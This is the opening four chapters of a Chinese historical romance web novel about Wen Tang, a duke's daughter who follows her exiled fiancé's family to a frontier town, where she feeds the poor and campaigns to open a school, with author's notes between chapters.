《锦棠玉华》
第1章 第 1 章
==第一章:温姑娘==
朝宁八年,今上登基刚好十年,边关旱灾频发,民不聊生。
而朝廷官员只知纵情享乐,不知百姓疾苦。
宫闱之中,圣上独宠贵妃徐氏,任由徐贵妃在宫里为非作歹,数年间,光死在徐贵妃手上的孩子就不下十余个,偏圣上予其偏爱,对此视而不见。
深秋,天气微凉,金黄色的枯叶跌入尘土,被一阵风吹散,又被另外一阵风卷起来,不知飘往何处。
边关辽阔,分城中跟城外,城墙外面此刻一片硝烟,而城墙里面因为有士兵们层层巡逻,气氛祥和安宁。
最热闹的启祥街,一个正值豆蔻年华的少女正在施粥,百姓们自觉的排成一条长队,拿到粥的百姓纷纷道:“多谢温姑娘。”
眼前的少女正是京中温国公府千金温棠,她容颜清艳,桃花眼看人的时候仿佛能将人吸进去,只是此刻的她衣着朴素,云鬓只用一支梨花木簪轻挽着,那股明艳便成了清雅脱俗,倒是平添了几分倔强跟坚韧。
在温姑娘毅然决然的随着小国舅来边关之前,边关城中的百姓以前或多或少听说过眼前的温姑娘,京城不少人说温姑娘出身名门望族却空有一副皮囊,还有的说她仗着自己高贵的身份就随意欺负其他贵女,眼睛长到天上去了,更有甚者说她根本就配不上小国舅。
可是在他们看来,温姑娘是这世间顶好的女子,她不嫌弃他们身份低微,无事的时候还愿意陪他们说话聊天,还有小国舅,边关大旱,又逢动乱,连年颗粒无收,节度使周大人几次上报朝廷,都不了了之,还是小国舅谢无宴跟节度使周大人提议水车灌溉,通暗渠,不然他们这日子只会更加艰难。
但他们同样知道,不管是温姑娘,还是小国舅,她们都不属于这里,若非当今帝王偏听信徐贵妃一面之词,皇后娘娘不会自缢,她们也不会被打发到这等苦寒之地。
一桶米粥见底,温棠脸上露出一抹清丽的笑容,最后上前的是一个上了年纪的大婶,她皮肤黝黑,目光却亲和,她犹犹豫豫地开口问:“温姑娘,您想回去吗?”
回去……
温棠一怔,姑娘来边关已近半年,这半年对于她来说恍如隔世。
京城里锦绣笙歌,红墙绿瓦,每到一个时节总是免不了要参加各种各样的赏花宴、赏诗宴,温棠身为温国公独女,哪次出门不是数名丫鬟簇拥着,而边关条件苦寒,每到傍晚,天色总是雾蒙蒙的,但温棠却很喜欢这里,她轻轻摇了摇头。
大婶表情瞬间变得复杂,她也是上了年纪的人,但她觉得自己还没有眼前的少女有魄力,至少如果换成是她,她肯定不愿意放弃上京的锦衣玉食,来到这么偏远的地方。
等人都走了之后,温棠弯腰开始收拾东西,她的手指很白,也很细长,拇指处有一点点薄薄的茧,是练武练的,彩莲帮着一起收拾东西,想了想,还是忍不住道:“姑娘,其实你不必做到这个份上。”
她们姑娘可是一品国公的女儿,就算她跟公爷闹翻,一个人跑来了边关,她始终是国公爷跟夫人唯一的女儿,是金尊玉贵的名门贵女,彩莲觉得姑娘只要去跟老爷认个错,老爷肯定会接她回京城,但她不知道的是温棠在离开国公府的那一日,她就没想着回去。
温棠眉毛如黛,她眸光澄澈,浅浅笑了笑,“彩莲,在这里没有什么国公爷的女儿,有的只是一个温棠。”
这话温棠已经说过很多少,彩莲觉得她都能背熟了,只是她不想忤逆自己姑娘的意思,耸拉着眼皮,“奴婢明白。”
她们将东西放了回去,因为国舅府流放边关是受皇后娘娘牵连,用另外一种话来说,便是遭受了无妄之灾,因此流放过来的谢家人不必为奴为婢,温棠她们所住的是一个一进一出的院落,乃原节度使副使所在的府邸,很巧合的是这位节度使副使就是巴结了温国公才得以调回京。
彩莲问温棠要不要喝水,温棠望了下天色,仪态轻盈地起了身,“你陪我去一趟周府。”
温棠口中的“周大人”是朝廷派过来的节度使大人周衡,周衡是平民出身,三元及第之后由国舅府一手提拔出来,因此他对温棠等人的态度都是和和气气的,温棠带着彩莲来到周府门口,周府门口站着许多士兵,见是温棠,里面的管家飞快地迎了上来,“温姑娘好。”
眼前的温姑娘虽说是谢郎君的未婚妻,但她背后的温国公府深得圣上重用,周府的人平日里对她都是客客气气的,何况流放边疆的人是国舅府一干人等,温棠还是国公府的小姐,即便是节度使周大人跟戍守边疆的威远将军,都乐意买她一个面子,管家在她面前更是不敢造次。
听说她是要见老爷,管家有几分为难的开口:“回温姑娘,老爷今日不在府中,可能要十天半个月才能回来。”
其实老爷就在府里面,只是他不想见面前的温姑娘,因为温姑娘来之前,老爷就猜到她要说什么,老爷觉得边疆不算太平之地,百姓们能够衣食无忧就已足够,若是会一些武功自然更好,而温姑娘希望兴办学院,还说若无夫子授课,她跟谢郎君,还有谢三姑娘都可轮流授课,温姑娘跟谢郎君的才学,老爷并不否认,就是老爷觉得没必要。
温棠桃花眼微微向上勾了下,姿态娴静,语气温柔,“那等周大人回府,我再过来。”
管家心里发苦,温姑娘这是不见到老爷誓不罢休,这半年里,管家算是摸透了这位温姑娘的性子,看起来温温柔柔的,实则很倔强,也很有主见。
她跟谢郎君一样,决定的事就不会轻易改变。
可他们忘了,在少年郎君还未跌入尘土的时候,京城很多人都觉得温棠只是一个空有家世跟美貌、还爱“欺负”人的女子,根本配不上她们郎艳独绝的小国舅。
“温姑娘慢走。”
温棠没有见到节度使,带着彩莲往回走,天色渐黑,路上的百姓越来越少,一阵香甜的桃花香气扑面而来,温棠便带着彩莲买了一小碟子桂花糕。
温棠跟彩莲刚进屋,一个唇红齿白,大概十六七岁的少年疾步朝温棠走过来,他笑得牙齿都露了出来,晃了晃右手拎着的鸡,“温姐姐,你看我带回了什么?”
眼前的少年正是谢时予,他是谢三叔的得意门生,在其父母去世之后被谢三叔收为义子,此后一直养在国舅府。
国舅府满门流放边疆时,谢三叔以“时予并非国舅府亲生血脉”为由,意图将他送走,少年誓死都不肯离开,还说若要想他走,他就先死在谢国公府所有人的前头。
来到边疆之后,日子再不复之前在京中的锦衣玉食,谢时予便央求温棠跟谢无宴能给他找点事做,他不想天天在这混吃等死,于是乎,谢时予每个白日都会去周府陪府上的小公子周霁月习武练剑,少年的志向便是有一日能够上阵杀敌。
“这是从哪里来的?”温棠潋滟的眸子有一瞬间的诧异,她好奇道。
唇红齿白的少年手里拎着一只毛发乌黑的鸡,怎么看都有几分滑稽。
“这是周二公子给我的报酬,周二公子说我力气大,在习武上很有天赋,因为我陪着他一起练武,他武功最近都跟着精益了不少,所以让下人送了我一只鸡,温姐姐,你说晚上我们要不要清蒸葫芦鸡?”
正说着话,一道娇俏黏人的嗓音传了过来,她“噔噔噔”地跑过来,跟只小蝴蝶似的,她的云鬓两边绑着粉色蝴蝶丝带,探过头问:“温姐姐,哥哥你们在说什么呢?”
开口的小姑娘正是原来国舅府的五小姐,谢三叔的亲生女儿谢禾蓁,因着谢时予去了周府,她在府里也坐不住,便跟着一起去了周府做事,不过她的任务是每日伺候周府的大公子周清风磨墨,只因周大公子早年上阵杀敌,不幸招人暗算,废了一条腿,然后他就一直深入简出,不爱见人,让谢禾蓁过去,也是卖谢无宴一个面子,因此,谢禾蓁兄妹每个月会有周府给的五贯钱。
听说晚上可以吃到京城的葫芦鸡,谢禾蓁高兴坏了,拉着温棠的手又蹦又跳,谢时予屈指在她额头上弹了下,“没大没小的。”
他表面上是嫌弃,实则语气里是掩盖不住的宠溺,温棠将桂花糕推到二人面前,起身要去厨房,谢时予马上拦住她,“诶,温姐姐,你今日在城中施粥,也累了一天,还是先歇会儿吧,炒菜熬汤这种小事就交给我了。”
兄妹俩非常有默契,谢时予一站起来,谢禾蓁赶紧拉着温棠坐下来,往她手里塞了块糕点,“哥哥厨艺好,就让哥哥去吧,这桂花糕还是热的,温姐姐快吃。”
温棠桃花眼流露出几分无奈,陪她坐了下来,谢禾蓁叽叽喳喳地跟她说今日周府发生的事情,温棠耐心地听着,正要问她今日有没有在周府见到周大人,谢无宴的贴身侍卫墨羽回来了,“温姑娘,公子他今晚不回来了。”
开文啦,一个全新的故事,是个群像文,存稿多多,希望宝子们会喜欢。
前三章发红包。
作者有话说
显示所有文的作话
第1章 第 1 章
第2章 第 2 章
==第二章:皇后娘娘==
“啊,哥哥怎么不回来了?”小姑娘眼里是明显的失落,有些沮丧。
墨羽是个五大三粗的男人,也不知道怎么安慰五姑娘,他挠了挠头,表情有几分尴尬,倒是温棠,她显然是猜到了什么,问:“谢郎君去了何处?”
还是跟温姑娘说话干脆,墨羽不由松了口气,小声回答:“温姑娘,五姑娘,公子他去了军营。”
温棠眼里没有丝毫惊讶,仿佛一早就有所料,圣上昏聩,不理朝政,以至边疆小国蠢蠢欲动,恨不得取而代之,紧挨着边关城千里之外的便是南疆跟北翼两个小国,二十年前,他们尚俯首称臣,可自十年前,当盛朝势力不再如以前一般雄厚,他们便不再纳贡,还时不时就派出小兵来试探他们兵力的虚实。
温棠来的这半年,边关已经发生了三次小的动乱,全是因为北翼的故意挑衅。
他这一去军营,没个十天半个月肯定回不来,温棠起身装了一小碟子桂花糕递给墨羽,墨羽将桂花糕接了过来,朝她拱了拱手,“那属下先行告退。”
谢禾蓁拉着温棠的手腕,她眉头紧皱,其担心显而易见,“温姐姐,你说哥哥应该不会有什么事吧?”
谢禾蓁是国舅府这一辈里面最小的姑娘,她很在乎她的家人,从繁华锦绣的京城来到边关之地,谢禾蓁只想要她身边的人能够好好的。
“放心吧,你哥哥不会有事的。”温棠的桃花眼向上轻轻一勾,她面容清丽,笑着安慰谢禾蓁。
而院子的拐角处站着一个身穿布衣的少年,谢时予本来是要过来喊她们吃饭的,谁知无意听到了她们那一番话,想当初妹妹在京城是何等的娇俏恣意,自从来了边关之后,她就每天都在担惊受怕,谢时予漂亮的眼底一片晦涩,他定要变得更加强大,只有这样,才能保护想要保护的人。
谢时予的大手不由握成了拳头,在原地站了好一会儿,他才扬长声音喊她们,“温姐姐,五妹妹,可以吃饭了。”
“走吧,去用膳。”温棠率先站起来,裙摆泛起涟漪,见她起来,谢禾蓁“腾”地一下就站起来了,“温姐姐,我们走吧。”
谢时予跟彩莲准备了两菜一汤,一道清蒸葫芦鸡,一道酥饼,一道青菜豆腐羹,自从来了边关之后,谢时予便多了一项技能,那就是烧菜,他烧出来的菜色香俱全。
闻到香味的谢禾蓁笑得眉眼弯弯,亲自给温棠夹一块酥饼,“温姐姐今天辛苦了,你多吃一点。”
她知道温姐姐这个月每天都在给城中百姓施粥。
她们边吃饭边说话,用完膳,谢时予自觉的去收拾碗筷,谢禾蓁陪温棠继续聊周府发生的事情,“温姐姐,你就说周老夫人无不无聊,人家大公子都说了不想娶妻纳妾,她还非要往他房里塞好几个貌美的侍女,就等着大公子红袖添香呢,大公子不从,她就哭着要跳河,简直是倚老卖老。”
谢禾蓁清了清嗓子,模仿着白日里周清风的语气,然后大公子就说,“祖母整日有这功夫管我房里的事,还不如多在屋里抄几本佛经,至少是修身养性了。”
这话可把那位周老夫人气得够呛,她立马就不说话了。
“温姐姐,你说是不是很有意思?”谢禾蓁趴到温棠的耳边说,“我觉得一个小小的周府,可比我们以前的国舅府要热闹多了。”
温棠点了点头,这位周老夫人行事是不太分轻重,但也最疼爱小辈,尤其是对周府的小姐跟公子。
星光降落,日头又升起,接下来几日,温棠日日都会去周府,周府管家每次都告诉她自家老爷不在家,但温棠仿佛一早就有所料,还是坚持不懈。
这日,边关久违地下了小雨,淅淅沥沥,周衡负手立于亭中,静静地听着外面的雨声,当听到下人的脚步声,周衡不疾不徐地问:“她还在外面?”
这十来天,她日日都来,弄得周衡都不知道如何是好了,按理说,她是为了小国舅谢无宴而来,那谢郎君日日都在军营里面,她不去,她天天上他们周府来找她。
周衡心里有两根线在拉扯着,于理,他不应该见她,但顾及对方现在还是温国公府千金,他能坐到节度使这个位置,昔年还是受了国舅府的恩惠,想了想,周衡还是决定不纠结了,罢了罢了,不过是一个还没有及笄的少女,见见又怎样。
周衡重新坐下来,自顾自斟了一杯茶,“请温姑娘进来吧。”
片刻,一身素衣,姿容清丽的少女朝这边走了过来,她身旁的侍女替她撑着伞,隔着雨幕,周衡不太能看得清她的表情,但肯定是沉静的,到底是世家大族培养出来的姑娘,这周身的气度确实不一般,周衡眯了眯眼,静等着少女走过来。
“周大人好。”
“温姑娘请坐。”周衡身上带着武将的气息,古铜色的皮肤,刚毅的气度,他态度亲和的给温棠倒了杯茶,推到她面前,“温姑娘的意思臣明白,并非是臣迂腐,而是边关不同于京城,京城里需要附庸风雅,边关却是不需要这些。”
“我这样说,温姑娘可明白?”
温棠掀了掀茶盖,热气袅袅,模糊了姑娘的容颜,就在周衡以为她会知难而退的时候,温棠慢慢开口,嗓音娓娓动听,“书生古亦有战阵,葛巾羽扇挥三军[1],周大人觉得征战沙场需要什么人?”
周衡觉得她这话问的新鲜,捋了捋胡须,“那肯定是需要士兵。”
没有士兵,那如何带兵打仗。
温棠微微笑了一下,浅黑色的瞳孔看起来温温柔柔的,“周大人,那您觉得带兵打仗需不需要智谋,还是仅凭数量跟武力?”
周衡要再听不懂她说的话,那他就是个傻子了,没想到他堂堂一个节度使大人会被一个还未及笄的小姑娘噎得说不出话来,因为对方若是个无名之辈,那当然可以以武力取胜,可若对方是个智谋双全的能人异士,那光靠武力肯定无法镇压。
这位温姑娘,哪里像是闺阁里养出来的姑娘,看着柔柔弱弱的,嘴皮子却犀利得很,枉他是三元及第出身,任边关节度使,竟然说不过一个还未及笄的少女。
自知就这样搪塞下去,对方也不会听,周衡叹了口气,“温姑娘的意思本官已经明白,本官会慎重考虑,再给温姑娘答复,温姑娘觉得可好?”
答复肯定是要答复的,不答复她肯定会天天来周府,周衡并不想跟她还有谢无宴硬碰硬。
“那就多谢周大人了。”温棠不卑不亢的跟周衡道谢。
周衡负手站起来,“福子,你送温姑娘出去。”
等送她们到门口,小厮回去复命,彩莲偷偷的问温棠,“姑娘,你说周大人会答应吗?”
温棠:“他会答应的。”
彩莲似懂非懂地点了点头,反正姑娘预料的事一向是极准的,她说答应,那周大人应该会答应的。
***
几场呼啸的寒风,零落成泥的树叶,转眼,便到了立冬。
这一日,也是前皇后娘娘谢无双的祭日。
边关城西有一座寺庙,听说香火很灵,天还未亮,温棠便带着彩莲去了归云寺。
盛朝立朝百年,百年来出了不少贤后,而前皇后娘娘谢无双便是自幼被当作准皇后娘娘培养,温婉贤良,聪慧大方。
昔年圣上立皇后娘娘为后的圣旨上曾说:“兹有谢府长女谢无双才貌双绝,风华无双,艳冠京城,足以母仪天下,为天下女子之表率。”
温棠年幼时,因是国公之女,时常被接入宫中,温柔大方的皇后娘娘总喜欢将她抱在膝上,细细的与她讲着曾经与陛下的过往。
于皇后娘娘而言,在东宫的那些日子才是她一生中最快乐的时光,因为那时的陛下礼贤下士,是非分明,可一切在陛下登基之后就变了。
若只是变心还不如让皇后娘娘伤心,从一个礼贤下士,心忧天下百姓的贤明太子变成一个只知纵情享乐,不顾百姓死活的君王才是真正的伤透了皇后娘娘的心。
到最后,曾经的爱人成了逼死她的刽子手。
中宫皇后娘娘还未被废,圣上已经有意立徐贵妃为继后 。
皇后娘娘临终前握住温棠的手,字字泣血,憔悴的眉目遮不住温婉,“棠棠,本宫这辈子不后悔入帝王家,本宫只是觉得不值得。”
温棠将三炷香插到香炉里,虔诚地跪了下去,她双手合十,在心中默念——
“皇后娘娘,愿您来生昭昭如愿,一生顺遂。”
彩莲的性格一直是叽叽喳喳的性格,但今日她分外安静,她跟着温棠一起对着佛祖拜了三拜,姿态恭谨谦卑。
过了许久,温棠睁开眼,彩莲上前扶她,“姑娘,我们走吧。”
她们甫一出寺庙,便看到一个身着青色衣袍的男子,腰间挂着鱼儿形状的吊坠,温棠看到他,转身就要往回走,年轻男子气急败坏,玉骨折扇一抬,“温棠,你给我站住。”
[1]:出自《犍为王氏书楼》。
宝子们,来啦,掉落200红包,下一章晚上12点见。
作者有话说
显示所有文的作话
第2章 第 2 章
第3章 第 3 章
==第三章:谢郎君==
不少来上香的百姓朝这边看了过来,因为温棠如今在边关城中算是出了名的,百姓们大多都认识她。
温棠怕惊扰到别人,抬步就往前走,找到一个树荫处停了下来,“表哥找我什么事?”
秋日的落叶早已经泛黄,她们在树荫下面的凳子上坐了下来,看她这一副冷静的态度,卢范便气不打一处来,甚至想去拧她耳朵,“你是我妹妹,我怎么就不能来找你了?话说你想跟舅父赌气赌到什么时候,你一个姑娘家跑到边关,你就不怕舅父他们着急担心。”
人人都道温国公跟夫人夫妻恩爱,未免妻子再受苦,成婚十几年来只育一女,是个再完美不过的丈夫跟父亲,惹得京中人人赞叹,殊不知温国公在娶范阳卢氏的妻子前,早已有了心上人,他深知以他的身份地位,根本没办法迎娶他的心上人,便将她养在外面,孩子都生了两个了,其中的一个孩子甚至比温棠年纪还要大上一些。
温棠桃花眼里闪过一丝嘲讽,她没将此事告诉卢范,而是温温柔柔地开口:“表哥要是想跟我说的是这事,我就先走了。”
“你不能走。”见她要走,卢范“腾”地一下就绕到她面前,拦住她,“你给我个准话,你打算什么时候回去?”
他就奇了怪了,国舅府都已经准备退婚了,她为何还要跟来,谢无宴那个冷心肝的,也不知道给他这位妹妹下了什么**药,她要对他这么死心塌地。
“表哥,你们男子能做的事情,我温棠也能做,等什么时候皇后娘娘一案能够沉冤得雪,我就回去。”温棠走了几步,突然回头看他一眼,明明还只是个十三岁的少女,眼中的坚定却能将人钉在原地。
朝宁七年,贵妃徐氏挑起后宫妃嫔之争,指责皇后娘娘善妒,以至后宫数年来无一位皇嗣降生,连上天都不能容忍,这才致盛朝边关不宁,时局不稳,群臣联合上奏,请求皇上废除皇后娘娘中宫之位,圣上正愁找不到废后的理由,徐贵妃跟群臣推的这一把,正合圣上心意,因此,皇后娘娘成为盛朝第一位在世被废的皇后,并在废后的第二日在太极宫自缢。
尚只有十二岁的太子秦逸尘受生母所累,太子储君之位被废,幽禁在东宫。
国舅府一族受其牵连,流放边关。
只因君臣炕瀣一气,无人替无辜之人鸣不平。
卢范被她的话勾起了回忆,摇扇子的动作蓦然停下,他嘴唇微张,突然不知道要说什么,温棠眉眼轻轻一眨,轻柔的嗓音随风消散,“可这事本来就是错的,不是吗?”
她的眼睛里似有星光在闪烁,是那样坚定,也是那样鲜活,卢范看着她这一双眼睛,忽然就什么话都说不出来了,等他回过神,少女像一只灵活的鱼儿走开了,卢范失笑,盯着少女离去的背影,但凡带了他们范阳卢氏血脉的人,还真是有铮铮傲骨。
姑姑是,这个小表妹也是。
***
角号声起,大漠孤烟,浩瀚万里,士兵们皆在有条不紊的进行训练,其神态跟喊口号的时候都分外有劲,一个个的都跟打了鸡血似的,充满了斗志与昂扬。
身穿玄色铠甲,五官端正的林青刚从营帐里走出来,险些撞到一个人,定睛一看,那人不就是墨羽了,墨羽侧身,低头朝他拱了拱手,“小将军。”
林青挑了挑眉,看向他手中提的锦盒,“墨羽,你手中拿的是什么?好香啊。”
墨羽笑着跟他解释:“回小将军,这是温姑娘做的枣泥糕。”
温姑娘温棠,边关是无人不知的。
林青磨了磨牙,还是这人有福气,就算在军营里都有人牵挂,哪像他,孤家寡人一个,没人牵挂不说,他要在军营里不干活,他爹要打死他,“那你快进去吧,免得你家公子饿着了,辜负人家温姑娘一片好意。”
“公子。”
帐篷里的布置极其简陋,只有几个放置剑、矛等武器的木架子,正中央有一个大的圆桌子,上面放的是地图,几人正对着地图进行研究,最中间站着的是一个刚过及冠之年的年轻郎君,身着一袭月白色袍子,墨发以竹簪束起,身姿修长俊挺,如玉树芝兰,如松如柏。
朱笔圈起一个左上边的地方,旁边的威远将军还有两名副将恍然大悟,这个地方不就是敌军军营放粮草的仓库吗,实在不行可以断其后路。
听到墨羽的声音,最中间的郎君抬起恍如山中清泉的眸子,睫如鸦羽,肤色白皙,几近透明,声音温润清浅,“何事?”
墨羽拱了拱手,“公子,温姑娘她今日做了枣泥糕,特意让属下拿过来给公子尝尝。”
“温姑娘真是有心了,反正我们谈的也差不多了,不如休息一炷香。”威远将军用手抵在唇间,似笑非笑的看着谢无宴,其他两名小将也用那种好奇的目光看过去。
谢无宴怔了下,让他将锦盒放下,墨羽将锦盒搁下,看似普通的锦盒,里面实则暗藏玄机,总共放了二十碟糕点,谢无宴几乎是在看到糕点的一瞬间便明白未婚妻的巧思,他唇角勾出一抹笑意,若云疏雨霁,“留下一碟,其他的都分了。”
拖温棠的福,林青也尝到了香香甜甜的枣泥糕,他为人放荡不羁,四肢懒散的坐在椅子上,连塞了两块糕点到嘴里,他古铜色的脸颊跟着鼓了起来,“温姑娘送的这糕点还真是不错。”
“谢无宴,你小子好福气啊,你打算什么时候娶人家温姑娘?”
“她还未及笄。”
林青嘟哝一声,狠狠地拍了下木椅,震得手都疼了起来,“我看你就是仗着人家温姑娘喜欢你,才如此淡定从容,你都不知道军营里大家有多羡慕你。”
倒也不是说羡慕人家有个这么清艳脱俗,性子又坚定的未婚妻,而是羡慕这种被人牵挂跟陪着的感觉,就像林青,他与父亲上战场,他的母亲跟妹妹都还在京城,他们上一次被召回京还是圣上四十岁寿辰,戍守边关的这些战士更不用说了,可能许多年都见不着家人。
至于温棠,她是谢无宴指腹为婚的未婚妻,明眼人都知道,他们将来一定会成婚,毕竟朝宁七年,整个谢家被流放,曾经与谢家交好的那些人里面有一大半毫不留情地撇清了与谢家的关系,只有温棠一个尚未及笄的女子,毫不犹豫地跟着一起来了边关。
谢无宴低眸浅笑,“林小将军若是羡慕,无宴可以替你在林将军面前说上一嘴。”
林青喉咙里的一口糕点险些没噎下去,他脸色涨得通红,重重地锤着自己胸口,谢无宴干净修长的手指将茶碗往他面前推了推,林青一口气才顺过来,他狠狠地瞪了谢无宴一眼,“你可千万别害我。”
林青自由自在惯了,还真不想这么早成家立业,他照顾自己都照顾不过来,哪还有心思去照顾别人。
正说着,帐外传来士兵卒中的声音——
“谢郎君,你要抓的人已经抓到了,可要带进来?”
谢无宴清润的眉眼倏然变得冷冽,嗓音淡淡,“进。”
===
同样是一个深秋,满院子都是桂花的香气,一个身着浅色长衫,翠色蜀锦襦裙,鬓边插着两支海棠流苏步摇的少女小跑着来到书房,书房外面由两名侍卫把守,看到少女,他们面面相觑,“姑娘。”
“爹爹呢?”少女脸上是掩饰不住的焦急。
侍卫颇有几分为难,“老爷他今日不在家。”
原本以为这话会让少女知难而退,可少女依旧执拗地问:“那爹爹去哪儿了?”
侍卫本来不想说,可温国公夫人来了,侍卫没有办法,只好告诉少女老爷的去向,“好像往庄子的方向去了。”
温国公府的庄子便在京城城西,因为彼时温棠有急事,她非要见到她的父亲不可,她连马车都不要,直接骑马去了城西的庄子。
茂密斑驳的梧桐树下,一向在温棠面前儒雅温和的父亲怀里搂着一个弱柳迎风的美娇娘,温国公的旁边站着身高八尺的儿郎,而美娇娘手里牵着一个比温棠小上一点的小姑娘,不知道温国公说了什么,惹得美娇娘落泪,美娇娘狠狠地捶了下温国公的胸口,温国公又反过来哄她。
温棠说不出心里是何滋味,她想转身离去,但他们却发现了她。
“姑娘醒醒。”迷迷糊糊之中,有人在喊她,温棠挣扎着睁开眼,入目是简陋的床顶,翠兰一脸的担心,拿着白帕子替她擦汗,“姑娘又做噩梦了?”
好像自从皇后娘娘出事,国舅府落难,姑娘晚间睡得便不是很安稳。
温棠拥着被子坐了起来,她白净的额头出了一层薄薄的汗,背上的那一块布料都被浸湿了,她抬眼看向纸窗外,此刻天光还未大亮,她却已经睡不着了,身姿窈窕的女子穿上衣物,拿着一把玄铁剑去了后山。
玄铁剑所过之处,黄色的枯叶簌簌落下,宛如一场花雨,温棠乌黑的青丝随风扬起,她足尖轻点,转动着手腕,剑锋的方向快得令人看不见,只知道风更急了,枯叶掉得更加厉害,翠兰捂着耳朵,正要往后面再退一步,另一道快得几乎看不见的人影过来了,他手里也拿着一把流云般的剑,两道身影很快纠缠在一起。
来啦,掉落200红包。
中午12点加更一章。
作者有话说
显示所有文的作话
第3章 第 3 章
第4章 第 4 章
==第四章:争锋==
翠兰并未来得及看清来人的长相,但持流云剑的人,在边关怕是难找第二个吧,翠兰自觉地退到最边上,风声起,枯叶落,剑影流光,到最后,素色裙摆跟月白色衣袂紧紧缠绕在一起,分不清你我,玄铁剑与流云剑两相碰撞,少女拿小腿去蹬。
她蹬的同时,谢无宴手腕翻转,剑锋方向马上一变,温棠手中的剑随之转了个方向,那种眨眼间的迅速,快得让人看不清,底下的翠兰只能看到姑娘的剑在空中翻了一下,很快,其剑锋又与谢郎君的剑锋缠绕在一起。
少女如瀑的乌发随之飘扬,其身影几乎与院中的初冬景色融为一体。
不知不觉中,天光已经大亮,谢禾蓁去温棠房里找她用早膳没找到人,便想着来后山看看,谁知映入眼帘的便是“你追我赶,你争我夺”的温姐姐跟哥哥,温姐姐的剑锋已经足够尖锐,她每一次出手毫不留情,哥哥也毫不怜香惜玉,流云剑从温姐姐的鬓边划过,若是不知情的,还以为温姐姐跟哥哥之间有什么深仇大恨,这才恨不得置对方于死地。
谢禾蓁目瞪口呆,惊得捂住了自己的嘴巴,“天啊,温姐姐跟哥哥这是又打起来了?”
翠兰正要解释,紧随她而来的谢时予弯了弯唇角,在她圆圆的小脑袋上点了下,“你个小丫头懂什么,温姐姐跟堂哥这是在比剑。”
“可是话本子上写的不都是男主人舞剑,女主人在旁边弹琴吗?怎么温姐姐跟哥哥舞剑像是要‘杀’了对方。”谢禾蓁不习惯别人摸她的脑袋,她甩了甩脑袋,挣扎着就要逃脱来自谢时予的束缚。
那还不是因为堂哥想试探温姐姐的剑术如何。
谢时予懒洋洋的抱着手臂,起了逗弄她的心思,“说不定这是温姐姐跟堂哥之间的情趣。”
谢禾蓁:“……”
她面色僵硬地看着不远处“恨不得比死对方”的温姐姐跟哥哥,这未免也太……
见她还真信了,一副反应不过来的表情,谢时予捂着肚子捧腹大笑,他宠溺地揉了揉谢禾蓁的脑袋,“我乱说的,妹妹以后多留些心,可千万别被人骗了。”
意识到自己真被骗了,谢禾蓁俏脸一红,挣扎着就要捶打谢时予,除了他,还有谁会骗她,谢时予就站在原地,任由她“打”他,谢禾蓁象征性地捶了好几下,哼一声,扭过头不理他了。
“妹妹生气了?”
“我今日不想跟哥哥说话了,哥哥离我远点。”
深知小姑娘气性大,谢时予配合地往旁边站了点,这点距离落在谢禾蓁眼里反倒成了“楚河汉界”,谢禾蓁突然就更加生气了,她的情绪来的莫名奇妙,连她自己都捉摸不透,谢禾蓁拍了下还在泛热的脸颊。
而温棠跟谢无宴那边情况更为激烈,两人肩上浮着几片落叶,少女面容精致,眉眼清艳温柔,年轻郎君容色清隽,温润如玉,说时迟那时快,温棠纤细手腕微翻,剑柄上挂着的禾穗从他平静如画的眉眼处划过,手指再一动,剑锋直逼谢无宴而去,谢无宴抬手,到底是慢了一拍,温棠狐狸眼轻轻向上一勾,莞尔一笑,“谢郎君,承让了。”
“剑术精益了。”谢无宴温润的凤眸流露出三分笑意,嗓音似山间清水流淌,舒缓人心。
温棠将剑收回剑鞘,刚练完剑,她莹白的脸颊泛着粉色,额头出了一层薄薄的汗,云鬓也有几分凌乱,翠兰见状连忙过来替她擦拭着额头的汗,相反,谢无宴姿仪淡定从容,恍如谪仙,他清润的目光在温棠的脸上停顿了一瞬,随后一针见血地问:“温姑娘这是有心事?”
天还未亮便来后山练剑,总不能是因为喜爱练剑喜爱到无法自拔,总是有什么心事。
温棠对他的敏锐已经见怪不怪了,她说她昨晚做了个梦,醒来就有些睡不着了,索性来后山练一下剑,谢无宴眉目清润如玉,姿仪清朗如月,他摩挲了下流云剑剑身上的云纹,正欲开口,谢禾蓁已经飞快地跑上前,她拽住温棠的手腕,“温姐姐,早膳已经准备好了,我们快走吧。”
与温棠不同的是,谢禾蓁从小就怕眼前这位温润如玉的堂哥,准确来说,应该是国舅府的几个姑娘跟公子都怕他,谁让谢无宴是长兄呢。
两个姑娘率先在前面走了,谢时予在原地等谢无宴过来,他意气风发,笑眯眯地跟堂哥打了声招呼,“堂哥。”
谢无宴微微颔首,他正拿帕子擦拭着手中的流云剑,谢时予陪着他往花厅的方向去,路上谢时予一脸高兴的跟他说在周府发生的事情,还说他最近武艺精湛了不少,不知道他闲暇之时,能不能指点他一二。
谢时予的表情带着几分跃跃欲试。
“明日卯时,来后山。”谢无宴表情如那和煦清风,不紧不慢道。
“得嘞。”谢时予顿时高兴了,眉梢中的喜悦藏都藏不住,跟饭店还有茶楼里的店小二似的,“堂哥,您先请。”
早膳是刘叔准备的,米粥跟胡饼,花厅里总共是一张桌子,四张杌凳,谢时予跟谢禾蓁非常有默契的占了里面的两张杌凳,那剩下的两张杌凳便留给了温棠跟谢无宴。
谢无宴一个月有半个多月的时间都在外面,不是在军营便是帮周大人周衡解决一些事情,她们在一起用膳没有那么多规矩,谢无宴看向温棠,“听说你前几日去见了周大人?”
年轻郎君并没有问她见周衡做什么,但他清楚她找周衡是为了什么,温棠将刚到嘴里的胡饼咽了下去,喝了口粥,她道:“是。”
谢无宴闻言浅笑:“那温姑娘需要帮忙吗?”
谢时予跟谢禾蓁两兄妹饭都不吃了,眼睛眨啊眨地看着温棠。
***
天气渐凉,早起的寒风跟刀子似的,夫人云淑从箱子里拿出一件鹅毛做的绯色大氅,来到正临窗而立的周衡面前,要替他披上,周衡配合地低下头,云淑帮他将带子系好,见他面色跟外面的雾一样,沉沉的,不由柔声问:“老爷这是有心事?”
“还不是因为温姑娘想在边关开设书院,你说她一个小小的姑娘怎么能有这么多主意,为夫都活了四十岁了,竟在一个小丫头面前词穷了。”周衡微微闭着眼,叹息着跟云淑抱怨,“你别看咱们这位温姑娘外表看起来柔柔弱弱的,实则她跟谢郎君就是一样的人,决定的事不会轻易更改,为夫若不答应她,她也会去想别的办法。”
正因为知道棘手,周衡一开始不想见温棠,本着让她知难而退的心思,谁知对方日日都来,那周衡总不可能天天都有事情吧,这一见,拒绝的话就不好说了。
周衡隐隐有些后悔,早知如此,他那日就不该脑子一热,请她进了府。
